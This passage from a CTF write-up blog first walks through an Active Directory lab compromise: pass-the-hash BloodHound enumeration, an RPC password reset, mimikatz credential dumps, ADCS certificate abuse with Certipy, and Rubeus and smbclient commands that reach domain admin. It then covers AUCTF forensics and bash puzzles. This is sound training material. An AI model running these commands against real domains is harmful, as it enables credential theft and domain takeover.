<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python bloodhound.py -u Валерий --hashes 00000000000000000000000000000000:BE5C60EC1E9ED48B1ACB5C87D555C6E2 -d CONTI.RU -dc DC1.CONTI.RU -ns 10.0.20.11 -c All
</code></pre></div></div>
<p>A path from the owned user <code class="language-plaintext highlighter-rouge">CONTI.RU\ВАЛЕРИЙ</code> (user C), to <code class="language-plaintext highlighter-rouge">CONTI.RU\ЗИНАИДА</code> (let’s call him user D), who is a local admin of <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code>, stands out. Indeed, user C has a <code class="language-plaintext highlighter-rouge">GenericAll</code> permission on user D, which allows password reset:
<img src="/assets/breizhctf-22-bloodhound-path.png" alt="BloodHound attack path" /></p>
<p>We perform the password reset with <code class="language-plaintext highlighter-rouge">pth-rpcclient</code> and the <code class="language-plaintext highlighter-rouge">setuserinfo2</code> RPC call:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ pth-rpcclient -U CONTI.RU/Валерий%00000000000000000000000000000000:BE5C60EC1E9ED48B1ACB5C87D555C6E2 //10.0.20.11
rpcclient $> setuserinfo2 ЗИНАИДА 23 'TipiHackWasH3re'
E_md4hash wrapper called.
E_deshash wrapper called.
</code></pre></div></div>
<p>From this moment, we can connect to <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code> with <code class="language-plaintext highlighter-rouge">CONTI.RU\ЗИНАИДА</code> and get the first flag on the desktop:
<img src="/assets/breizhctf-22-first-flag.png" alt="SMBClient first flag" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat flag.txt
BZHCTF{i_hope_you_love_playing_with_cyrillic}
</code></pre></div></div>
<h3 id="second-part">Second part</h3>
<p>We are local administrator of <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code>, we now want to get domain administrator privileges. We execute post-exploitation tools on <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code> to gather more information: dump lsass memory with procdump, SAM dump, LSA secrets, DPAPI, etc.</p>
<p>From the LSASS memory dump, we can extract the credentials of the user <code class="language-plaintext highlighter-rouge">CONTI.RU\Дарья</code> (user E), using mimikatz in minidump mode:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Authentication Id : 0 ; 337548 (00000000:0005268c)
Session : Interactive from 1
User Name : Дарья
Domain : CONTI
Logon Server : DC1
Logon Time : 01/04/2022 11:41:16
SID : S-1-5-21-2511036384-2806266831-3360082211-1122
msv :
[00000003] Primary
* Username : Дарья
* Domain : CONTI
* NTLM : 7a0f1f2a2b2a749312b97777b61cd6a5
* SHA1 : 8007e878e7cd47f7c28d7692c7ca244e0fca07ba
* DPAPI : bafcaae286442922333bd3d1b6e3bbe5
tspkg :
wdigest :
* Username : Дарья
* Domain : CONTI
* Password : (null)
kerberos :
* Username : Дарья
* Domain : CONTI.RU
* Password : (null)
ssp :
credman :
cloudap : KO
</code></pre></div></div>
<p>From the BloodHound point of view, this user does not have any interesting privileges, nor any privileges on the <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code> computer…</p>
<p>We have to find another way to escalate privileges. At the beginning of the challenge, we had to play with PKINIT and PFX. Our nmap scan revealed that there is an ADCS role installed on the domain controller and we didn’t look at it yet. Time for ADCS information gathering!</p>
<p>We use <a href="https://github.com/ly4k/Certipy">Certipy</a>, which is an excellent tool, to enumerate ADCS objects and permissions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ certipy find -hashes "00000000000000000000000000000000:7a0f1f2a2b2a749312b97777b61cd6a5" 'CONTI.RU/Дарья@10.0.20.11'
Certipy v2.0.9 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Trying to get CA configuration for 'CONTI-DC1-CA' via CSRA
[!] Got error while trying to get CA configuration for 'CONTI-DC1-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'CONTI-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'CONTI-DC1-CA'
[*] Found 12 enabled certificate templates
[*] Saved text output to '20220401225602_Certipy.txt'
[*] Saved JSON output to '20220401225602_Certipy.json'
[*] Saved BloodHound data to '20220401225602_Certipy.zip'. Drag and drop the file into the BloodHound GUI
</code></pre></div></div>
<p>User E (RID = 1122 on the domain), whom we found credentials on the <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code> workstation, can use the template <code class="language-plaintext highlighter-rouge">UserAfterLeak</code> to generate certificates (<code class="language-plaintext highlighter-rouge">Enroll</code> privilege) signed by the <code class="language-plaintext highlighter-rouge">CONTI-DC1-CA</code> certificate authority. The template has the properties we want to escalate privileges:</p>
<ul>
<li><strong>Client Authentication</strong> so that we can generate certificate to authenticate users</li>
<li><strong>EnrolleeSuppliesSubject</strong> so that we can choose arbitrary Subjet Alternative Name (SAN)</li>
<li>Does not require manager approval</li>
</ul>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"Properties"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"highvalue"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"USERAFTERLEAK@CONTI.RU"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Template Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"UserAfterLeak"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Display Name"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
</span><span class="nl">"Certificate Authorities"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="s2">"CONTI-DC1-CA"</span><span class="w">
</span><span class="p">],</span><span class="w">
</span><span class="nl">"Enabled"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"Client Authentication"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"Enrollee Supplies Subject"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"Certificate Name Flag"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="s2">"EnrolleeSuppliesSubject"</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err"><==</span><span class="w"> </span><span class="err">can</span><span class="w"> </span><span class="err">specify</span><span class="w"> </span><span class="err">arbitrary</span><span class="w"> </span><span class="err">SAN</span><span class="w">
</span><span class="p">],</span><span class="w">
</span><span class="nl">"Enrollment Flag"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="s2">"PublishToDs"</span><span class="p">,</span><span class="w">
</span><span class="s2">"IncludeSymmetricAlgorithms"</span><span class="w">
</span><span class="p">],</span><span class="w">
</span><span class="nl">"Extended Key Usage"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="s2">"Client Authentication"</span><span class="p">,</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err"><==</span><span class="w"> </span><span class="err">important</span><span class="w"> </span><span class="err">property</span><span class="w"> </span><span class="err">to</span><span class="w"> </span><span class="err">authenticate</span><span class="w"> </span><span class="err">user</span><span class="w"> </span><span class="err">with</span><span class="w"> </span><span class="err">the</span><span class="w"> </span><span class="err">generated</span><span class="w"> </span><span class="err">certificates</span><span class="w">
</span><span class="s2">"Secure Email"</span><span class="p">,</span><span class="w">
</span><span class="s2">"Encrypting File System"</span><span class="w">
</span><span class="p">],</span><span class="w">
</span><span class="nl">"Requires Manager Approval"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err">no</span><span class="w"> </span><span class="err">approval</span><span class="w"> </span><span class="err">required</span><span class="w">
</span><span class="nl">"Application Policies"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w">
</span><span class="nl">"Authorized Signatures Required"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
</span><span class="nl">"Validity Period"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1 year"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Renewal Period"</span><span class="p">:</span><span class="w"> </span><span class="s2">"6 weeks"</span><span class="p">,</span><span class="w">
</span><span class="nl">"domain"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CONTI.RU"</span><span class="p">,</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Certificate Template"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"ObjectIdentifier"</span><span class="p">:</span><span class="w"> </span><span class="s2">"e22fc4ca-c0b3-4aa9-9413-79a0cece8f58"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Aces"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"PrincipalSID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"S-1-5-21-2511036384-2806266831-3360082211-500"</span><span class="p">,</span><span class="w">
</span><span class="nl">"PrincipalType"</span><span class="p">:</span><span class="w"> </span><span class="s2">"User"</span><span class="p">,</span><span class="w">
</span><span class="nl">"RightName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Owner"</span><span class="p">,</span><span class="w">
</span><span class="nl">"IsInherited"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"PrincipalSID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"S-1-5-21-2511036384-2806266831-3360082211-1122"</span><span class="p">,</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err"><==</span><span class="w"> </span><span class="err">USER</span><span class="w"> </span><span class="err">E</span><span class="w"> </span><span class="err">we</span><span class="w"> </span><span class="err">pwned</span><span class="w">
</span><span class="nl">"PrincipalType"</span><span class="p">:</span><span class="w"> </span><span class="s2">"User"</span><span class="p">,</span><span class="w">
</span><span class="nl">"RightName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Enroll"</span><span class="p">,</span><span class="w">
</span><span class="nl">"IsInherited"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">[</span><span class="err">...</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>
<p>With this information, we can generate PFX for any user, so we choose the built-in domain administrator: <code class="language-plaintext highlighter-rouge">АДМИНИСТРАТОР@CONTI.RU</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>certipy req <span class="nt">-hashes</span> <span class="s2">"00000000000000000000000000000000:7a0f1f2a2b2a749312b97777b61cd6a5"</span> <span class="s1">'CONTI.RU/Дарья@10.0.20.11'</span> <span class="nt">-ca</span> <span class="s1">'CONTI-DC1-CA'</span> <span class="nt">-template</span> <span class="s1">'UserAfterLeak'</span> <span class="nt">-alt</span> <span class="s1">'АДМИНИСТРАТОР@CONTI.RU'</span>
Certipy v2.0.9 - by Oliver Lyak <span class="o">(</span>ly4k<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting certificate
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Successfully requested certificate
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Request ID is 21
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got certificate with UPN <span class="s1">'АДМИНИСТРАТОР@CONTI.RU'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saved certificate and private key to <span class="s1">'администратор.pfx'</span>
</code></pre></div></div>
<p>Fire Rubeus to get the target user’s NTLM hash:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS C:\Users\user\Downloads> ./Rubeus.exe asktgt /user:????????????? /certificate:?????????????.pfx /domain:conti.ru /dc:10.0.20.11 /createnetonly:C:\Windows\System32\cmd.exe /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Ask TGT
[*] Showing process : False
[*] Username : 8C6NPBIX
[*] Domain : T78KN4RS
[*] Password : KTK21ESA
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5128
[+] LUID : 0x343283
[*] Using PKINIT with etype rc4_hmac and subject: CN=?????
[*] Building AS-REQ (w/ PKINIT preauth) for: 'conti.ru\?????????????'
[*] Target LUID : 3420803
[*] Using domain controller: 10.0.20.11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGTjCCBkqgAwIBBaEDAgEWooIFXTCCBVlhggVVMIIFUaADAgEFoQobCENPTlRJLlJVoh0wG6ADAgEC
oRQwEhsGa3JidGd0Gwhjb250aS5ydaOCBR0wggUZoAMCARKhAwIBAqKCBQsEggUHRzsczbSM/Q4KLi0/
3EGc3dTPdCJkND8ThMqGyvrQ9qQTLVNcCMqvs+hqIwxkrR7piDwJYHknzF25WtLWdcpErbsLOzze1lKK
[...]
LfNiidKACxOqykFrOkoURKEKGwhDT05USS5SVaInMCWgAwIBAaEeMBwbGtCQ0JTQnNCY0J3QmNCh0KLQ
oNCQ0KLQntCgowcDBQBA4QAApREYDzIwMjIwNDAyMDIwNjQ4WqYRGA8yMDIyMDQwMjEyMDY0OFqnERgP
MjAyMjA0MDkwMjA2NDhaqAobCENPTlRJLlJVqR0wG6ADAgECoRQwEhsGa3JidGd0Gwhjb250aS5ydQ==
[*] Target LUID: 0x343283
[+] Ticket successfully imported!
ServiceName : krbtgt/conti.ru
ServiceRealm : CONTI.RU
UserName : ?????????????
UserRealm : CONTI.RU
StartTime : 02/04/2022 02:06:48
EndTime : 02/04/2022 12:06:48
RenewTill : 09/04/2022 02:06:48
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : LfNiidKACxOqykFrOkoURA==
ASREP (key) : 25975C2EA613F124361E4B6BD72D644B
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C9876588D1B9FBACAA9A6F8D5642BFA8
</code></pre></div></div>
<p>With the administrator’s NTLM hash, we can connect to the domain controller:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ smbclient //10.0.20.11/C$ -U администратор --pw-nt-hash C9876588D1B9FBACAA9A6F8D5642BFA8 -W CONTI.RU
smb: \> cd Users\администратор\Desktop\
smb: \Users\администратор\Desktop\> ls
. DR 0 Fri Mar 25 09:52:00 2022
.. D 0 Fri Apr 1 04:26:29 2022
desktop.ini AHS 282 Fri Mar 25 04:06:13 2022
flag.txt A 37 Fri Mar 25 09:53:05 2022
26042623 blocks of size 4096. 22040327 blocks available
smb: \Users\администратор\Desktop\> get flag.txt
getting file \Users\администратор\Desktop\flag.txt of size 37 as flag.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
</code></pre></div></div>
<p>And finally, get the second flag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat flag.txt
BZHCTF{pwning_ru_domain_is_fun_no?}
</code></pre></div></div>
<h3 id="final-thoughts">Final thoughts</h3>
<p>The challenge was not difficult from an Active Directory perspective. However, dealing with cyrillic characters was harder than we thought because many tools don’t support unicode correctly. We had to alternate between Linux and Windows tools to succeed.</p>
<p>For instance, when passing the hash with Mimikatz, the user name is replaced with litteral <code class="language-plaintext highlighter-rouge">?</code> during NTLM authentication! On the other hand, SharpKatz seemed to work fine, but it seemed to mess up too much with lsass memory since nothing was working fine anymore in the VM… On the other hand, all linux tools seemed to accept unicode character except <a href="https://github.com/dirkjanm/PKINITtools">PKINITTools</a>, which if we’re not mistaken, relies on <a href="https://github.com/skelsec/minikerberos">minikerberos</a> & <a href="https://github.com/SecureAuthCorp/impacket">impacket</a>.</p>
<p>Final words go to the challenge’s author, <a href="https://twitter.com/kaluche_">Kaluche</a>: thanks very much for this challenge, we had a lot of fun!</p>tipi_hackCategory: AD, PentestAUCTF 2020 - Animal Crossing2020-04-06T00:00:00+00:002020-04-06T00:00:00+00:00https://tipi-hack.github.io/2020/04/06/AUCTF-20-Animal_Crossing<p>Category: Forensics</p>
<h2 id="challenge-resolution">Challenge resolution</h2>
<p>For this challenge, a <a href="/assets/AUCTF-20-animalcrossing.pcapng">pcap</a> file was provided.</p>
<p>A quick look at the network traffic revealed that a DNS exfiltration was performed:</p>
<p><img src="/assets/AUCTF-20-chall_animal_crossing_pcap.png" alt="pcap" /></p>
<p>We then extracted all the DNS resolutions’ queries for the <code class="language-plaintext highlighter-rouge">ad.quickbrownfoxes.org</code> domain using the following <code class="language-plaintext highlighter-rouge">tshark</code> command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ tshark -r animalcrossing.pcapng -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0 and dns.qry.name contains ad.quickbrownfoxes.org"
</code></pre></div></div>
<p>After combining all sub-domains on a single file, we then decoded the base64 string:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat animalcrossing_dns_query_b64_uniq.txt | sed ':a;N;$!ba;s/\n//g' | base64 -d
Did you ever hear the tragedy of Darth Plagueis The Wise? I thought not. It’s not a story the Jedi would tell you. It’s a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life… auctf{it_was_star_wars_all_along} He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. He became so powerful… the only thing he was afraid of was losing his power, which eventually, of course, he did. Unfortunately, he taught his apprentice everything he knew, then his apprentice killed him in his sleep. Ironic. He could save others from death, but base64: entrée incorrecte
</code></pre></div></div>
<p>Thus revealing the flag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{it_was_star_wars_all_along}
</code></pre></div></div>tipi_hackCategory: Forensics Challenge resolution For this challenge, a pcap file was provided. A quick look at the network traffic revealed that a DNS exfiltration was performed: We then extracted all the DNS resolutions’ queries for the ad.quickbrownfoxes.org domain using the following tshark command: $ tshark -r animalcrossing.pcapng -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0 and dns.qry.name contains ad.quickbrownfoxes.org" After combining all sub-domains on a single file, we then decoded the base64 string: $ cat animalcrossing_dns_query_b64_uniq.txt | sed ':a;N;$!ba;s/\n//g' | base64 -d Did you ever hear the tragedy of Darth Plagueis The Wise? I thought not. It’s not a story the Jedi would tell you. It’s a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life… auctf{it_was_star_wars_all_along} He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. He became so powerful… the only thing he was afraid of was losing his power, which eventually, of course, he did. Unfortunately, he taught his apprentice everything he knew, then his apprentice killed him in his sleep. Ironic. He could save others from death, but base64: entrée incorrecte Thus revealing the flag: auctf{it_was_star_wars_all_along}AUCTF 2020 - Bash {1..5}2020-04-06T00:00:00+00:002020-04-06T00:00:00+00:00https://tipi-hack.github.io/2020/04/06/AUCTF-20-Bash<p>Category: Bash</p>
<h2 id="challenge-description">Challenge description</h2>
<blockquote>
<p>Bash challenges consisted of a series of linux puzzles reminding us the <a href="https://overthewire.org/wargames/">OverTheWire</a> or Nebula wargames.</p>
<p>Access to each challenge were done via SSH using the flag of the previous level as the password for the next one:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh challenges.auctf.com -p 30040 -l level1
</code></pre></div> </div>
</blockquote>
<h2 id="challenges-resolution">Challenges resolution</h2>
<h3 id="level-1">Level 1</h3>
<p>The level 1 was just an intro to show the principle as the flag was stored on the <code class="language-plaintext highlighter-rouge">README</code> file:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level1-flag.png" alt="level1 flag" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{W3lcoM3_2_da_C7F}
</code></pre></div></div>
<h3 id="level-2">Level 2</h3>
<p>For the level 2, the following <code class="language-plaintext highlighter-rouge">random_dirs.sh</code> bash script was presented:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nv">x</span><span class="o">=</span><span class="nv">$RANDOM</span>
<span class="nb">base64 </span>flag.txt <span class="o">></span> /tmp/<span class="nv">$x</span>
<span class="k">function </span>finish <span class="o">{</span>
<span class="nb">rm</span> /tmp/<span class="nv">$x</span>
<span class="o">}</span>
<span class="nb">trap </span>finish EXIT
<span class="nb">sleep </span>15
</code></pre></div></div>
<p>The 15 seconds delay gave us just enough time to consult the latest file created by the <code class="language-plaintext highlighter-rouge">level3</code> user, and stored in the <code class="language-plaintext highlighter-rouge">tmp</code> folder:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>level2@652f811058fe:/tmp$ cat 21495
YXVjdGZ7ZzB0dEBfbXV2X2Zhczd9Cg==
</code></pre></div></div>
<p>The base64 decoded output revealed the flag:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level2-flag.png" alt="level2 flag" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{g0tt@_muv_fas7}
</code></pre></div></div>
<h3 id="level-3">Level 3</h3>
<p>The level3’s home folder contained the following files:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level3-listing.png" alt="listing" /></p>
<p>The file we were interested in here was the <code class="language-plaintext highlighter-rouge">passcodes.sh</code> bash script:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level3-passcodes.sh.png" alt="passcodes.sh" /></p>
<p><code class="language-plaintext highlighter-rouge">$RANDOM</code> is a bash function that returns a random signed 16 bit integer (from 0 through 32767).</p>
<p>Furthermore, this same script was granted the right to be launched via the <code class="language-plaintext highlighter-rouge">sudo</code> command:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level3-sudo.png" alt="level3 sudo" /></p>
<p>We can thus bruteforce this generated number using the following command in order to retrieved the flag:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level3-flag.png" alt="level3 flag" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{wut_r_d33z_RaNdom_numz}
</code></pre></div></div>
<h3 id="level-4">Level 4</h3>
<p>For the level 4, the following <code class="language-plaintext highlighter-rouge">print_file.sh</code> bash script was given:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level4-print_file.sh.png" alt="print_file.sh" /></p>
<p>Same as before, the <code class="language-plaintext highlighter-rouge">sudo -l</code> command revealed that level4 user can run the <code class="language-plaintext highlighter-rouge">print_file.sh</code> script as the user <code class="language-plaintext highlighter-rouge">level5</code>:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level4-sudo.png" alt="level4 sudo" /></p>
<p>We were thus able to simply retrieve the flag with the <code class="language-plaintext highlighter-rouge">sudo -u level5</code> command:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level4-flag.png" alt="level4 flag" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{FunKy_P3rm1ssi0nZ}
</code></pre></div></div>
<h3 id="level-5">Level 5</h3>
<p>The final level consisted of the following <code class="language-plaintext highlighter-rouge">portforce.sh</code> bash script:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nv">x</span><span class="o">=</span><span class="si">$(</span><span class="nb">shuf</span> <span class="nt">-i</span> 1024-65500 <span class="nt">-n</span> 1<span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"Guess the listening port"</span>
<span class="nv">input</span><span class="o">=</span><span class="si">$(</span>nc <span class="nt">-lp</span> <span class="nv">$x</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"That was easy right? :)"</span>
<span class="nb">cat </span>flag.txt
</code></pre></div></div>
<p>While running the <code class="language-plaintext highlighter-rouge">portforce.sh</code> script, the <code class="language-plaintext highlighter-rouge">netstat</code> command enabled us to list the latest binded port:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level5-netstat.png" alt="netstat" /></p>
<p>We were finally rewarded with the flag by connecting to the identified port using <code class="language-plaintext highlighter-rouge">netcat</code>:</p>
<p><img src="/assets/AUCTF-20-chall_bash-level5-flag.png" alt="level5 flag" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{n3tc@_purt_$can}
</code></pre></div></div>tipi_hackCategory: Bash Challenge description Bash challenges consisted of a series of linux puzzles reminding us the OverTheWire or Nebula wargames. Access to each challenge were done via SSH using the flag of the previous level as the password for the next one: ssh challenges.auctf.com -p 30040 -l level1 Challenges resolution Level 1 The level 1 was just an intro to show the principle as the flag was stored on the README file: auctf{W3lcoM3_2_da_C7F} Level 2 For the level 2, the following random_dirs.sh bash script was presented: #!/bin/bash x=$RANDOM base64 flag.txt > /tmp/$x function finish { rm /tmp/$x } trap finish EXIT sleep 15 The 15 seconds delay gave us just enough time to consult the latest file created by the level3 user, and stored in the tmp folder: level2@652f811058fe:/tmp$ cat 21495 YXVjdGZ7ZzB0dEBfbXV2X2Zhczd9Cg== The base64 decoded output revealed the flag: auctf{g0tt@_muv_fas7} Level 3 The level3’s home folder contained the following files: The file we were interested in here was the passcodes.sh bash script: $RANDOM is a bash function that returns a random signed 16 bit integer (from 0 through 32767). Furthermore, this same script was granted the right to be launched via the sudo command: We can thus bruteforce this generated number using the following command in order to retrieved the flag: auctf{wut_r_d33z_RaNdom_numz} Level 4 For the level 4, the following print_file.sh bash script was given: Same as before, the sudo -l command revealed that level4 user can run the print_file.sh script as the user level5: We were thus able to simply retrieve the flag with the sudo -u level5 command: auctf{FunKy_P3rm1ssi0nZ} Level 5 The final level consisted of the following portforce.sh bash script: #!/bin/bash x=$(shuf -i 1024-65500 -n 1) echo "Guess the listening port" input=$(nc -lp $x) echo "That was easy right? :)" cat flag.txt While running the portforce.sh script, the netstat command enabled us to list the latest binded port: We were finally rewarded with the flag by connecting to the identified port using netcat: auctf{n3tc@_purt_$can}AUCTF 2020 - Boom2020-04-06T00:00:00+00:002020-04-06T00:00:00+00:00https://tipi-hack.github.io/2020/04/06/AUCTF-20-Boom<p>Category: Forensics</p>
<h2 id="challenge-description">Challenge description</h2>
<p><img src="/assets/AUCTF-20-chall_boom.png" alt="Challenge description" /></p>
<h2 id="challenge-resolution">Challenge resolution</h2>
<p>For this challenge we were presented with an <a href="/assets/AUCTF-20-boom.sql.gz">archive</a> containing an SQL dump file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-- Adminer 4.7.5 MySQL dump
SET NAMES utf8;
SET time_zone = '+00:00';
SET foreign_key_checks = 0;
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
DROP TABLE IF EXISTS `images`;
CREATE TABLE `images` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(80) NOT NULL,
`image` longblob NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `images` (`id`, `name`, `image`) VALUES
(4, 'hi-res-ba0782735805201b04a654215730b793_crop_exact.7z', '[REDACTED]');
-- 2019-12-03 08:38:34
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">[REDACTED]</code> part was the archive in raw format.</p>
<p>Our first attempt was to import the SQL dump to an instance of MySQL.</p>
<p>We then tried to output the contained file using the following SQL query:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select image from images where id=4 into outfile "/tmp/hi-res-ba0782735805201b04a654215730b793_crop_exact.7z";
</code></pre></div></div>
<p><img src="/assets/AUCTF-20-chall_boom-sql_query.png" alt="SQL QUERY" /></p>
<p>However, the generated file was corrupted.</p>
<p>We then looked for the <code class="language-plaintext highlighter-rouge">Adminer MySQL dump</code> tool and found an online demo enabling the import of the generated dump file:</p>
<p><img src="/assets/AUCTF-20-chall_boom-adminer_web_interface.png" alt="Adminer web interface" /></p>
<p>From there, we were able to run the SQL query and download the gunzip <a href="/assets/AUCTF-20-hi-res-ba0782735805201b04a654215730b793_crop_exact.7z">archive</a>:</p>
<p><img src="/assets/AUCTF-20-chall_boom-adminer_sql_query.png" alt="Adminer SQL query" /></p>
<p>From this archive, we extracted the following picture:</p>
<p><img src="/assets/AUCTF-20-hi-res-ba0782735805201b04a654215730b793_crop_exact.png" alt="Picture" /></p>
<p>The negative uncovered the flag:</p>
<p><img src="/assets/AUCTF-20-xor-hi-res-ba0782735805201b04a654215730b793_crop_exact.png" alt="XOR Picture" /></p>
<p>Can you spot it ? It’s right there:</p>
<p><img src="/assets/AUCTF-20-extract_part.png" alt="Extract part" /></p>
<p>Using some color ajustments finally reavealed the flag:</p>
<p><img src="/assets/AUCTF-20-extract_part_final.png" alt="Extract part" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auctf{B00M_!!}
